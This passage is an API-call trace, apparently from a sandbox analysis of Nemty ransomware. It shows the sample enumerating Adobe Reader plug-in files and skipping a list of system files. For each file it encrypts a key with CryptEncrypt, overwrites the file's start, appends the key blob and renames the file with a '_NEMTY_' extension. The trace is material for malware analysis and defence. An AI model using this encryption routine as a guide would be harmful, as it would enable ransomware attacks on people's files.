WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.api", lpUsedDefaultChar=0x0) returned 12 [0192.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.api", lpUsedDefaultChar=0x0) returned 12 [0192.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.api", lpUsedDefaultChar=0x0) returned 12 [0192.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.api", lpUsedDefaultChar=0x0) returned 12 [0192.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.952] Sleep (dwMilliseconds=0x5) [0192.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26a81410, dwHighDateTime=0x1d561e8)) [0192.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26a81410, dwHighDateTime=0x1d561e8)) [0192.954] GetLastError () returned 0x0 [0192.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.954] GetLastError () returned 0x0 [0192.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.954] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.954] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.955] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.955] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="kr5/fU+fZS4F6c6zF013Sk1bX6ppCKpq+CF4s0OYtomcWt/ZBRITrM+Hz5tWpTIo\r\nQmWv6Ktcqh7i9dKH7Q5VG6OE7yb3xaWfrmHl8Q1qyDbDgTxiaHzvYeuC6Khqvvmx\r\nnmTZeweVNSxMFy/xa4Ee9kINiuy6ENXpYLFbedqZGe4JWSWYnV7MTQ4tATFzJJbV\r\nBW9OloeHW9PTwyrga1K/TmjsZiDVcVPq9N7BLK40qI5Zx+KLwpypOoVi/+naFEL3\r\nlWDQDkg17prrryYxI5nrIGWA1Vux/+mIGr/36zzlllhtK2H9Zbra3HAjsbZA723Q\r\nWCUpY9cWOzcz7NxrzdpzvQ==\r\n", pcchString=0x653e91c) returned 1 [0192.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.955] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=277091) returned 1 [0192.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.955] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.955] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.964] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.964] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.964] SetFilePointer (in: hFile=0x254, lDistanceToMove=277091, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43a63 [0192.964] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.966] CloseHandle (hObject=0x254) returned 1 [0192.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.966] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api._nemty_kgobjgd_")) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.967] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29463, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2=".") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="..") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="...") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="windows") returned -1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="$RECYCLE.BIN") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="rsa") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="NTDETECT.COM") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="ntldr") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="MSDOS.SYS") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="IO.SYS") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="boot.ini") returned 1 [0192.967] lstrcmpiW (lpString1="Updater.api", lpString2="boot.ini") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="ntuser.dat") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="desktop.ini") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="CONFIG.SYS") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="RECYCLER") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="BOOTSECT.BAK") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="bootmgr") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="programdata") returned 1 [0192.968] lstrcmpiW (lpString1="Updater.api", lpString2="appdata") returned 1 [0192.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.api", lpUsedDefaultChar=0x0) returned 11 [0192.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.api", lpUsedDefaultChar=0x0) returned 11 [0192.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.api", lpUsedDefaultChar=0x0) returned 11 [0192.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.api", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.api", lpUsedDefaultChar=0x0) returned 11 [0192.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.968] Sleep (dwMilliseconds=0x5) [0192.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26aa7570, dwHighDateTime=0x1d561e8)) [0192.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26aa7570, dwHighDateTime=0x1d561e8)) [0192.970] GetLastError () returned 0x0 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.970] GetLastError () returned 0x0 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.970] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.970] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.970] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.970] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="L355tdT4cjA65oPgRbEZsOmW3EwXhHyn9jWKULIc5rclbBydY4auZZGB3GZ1sOl2\r\nU2QGb7xCKSGyNmtI1tsy4go17TstaaDp8c5scRR+5Xun3DOTH5wL4ofGiSg64kK0\r\nsr2Gxp1NnFZawFazqpbdVBT2GW/vYQAR1B4gvkrcRCo9iSW4W1hsI8EPi/3T9oYM\r\nESuvLV051dPJ/znynrxCbKrpEpmByD9tQx08bnhDKANv9tShgrLSGNoYuKDHp3P+\r\nsp7BY/U06W7ohPIyVTWQzBsYXP59ykJxC0xDJwjDzocJWvvwUWabinBWYnJGaQld\r\nX+juh0TwvuuFeneNfzQWsg==\r\n", pcchString=0x653e91c) returned 1 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.971] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=169059) returned 1 [0192.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.971] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.971] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.980] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.980] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.980] SetFilePointer (in: hFile=0x254, lDistanceToMove=169059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x29463 [0192.980] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.980] CloseHandle (hObject=0x254) returned 1 [0192.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.981] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api._nemty_kgobjgd_")) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.982] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2=".") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="..") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="...") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="windows") returned -1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="$RECYCLE.BIN") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="rsa") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="NTDETECT.COM") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="ntldr") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="MSDOS.SYS") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="IO.SYS") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="boot.ini") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="boot.ini") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="ntuser.dat") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="desktop.ini") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="CONFIG.SYS") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", lpString2="RECYCLER") returned 1 [0192.982] lstrcmpiW (lpString1="weblink.api", 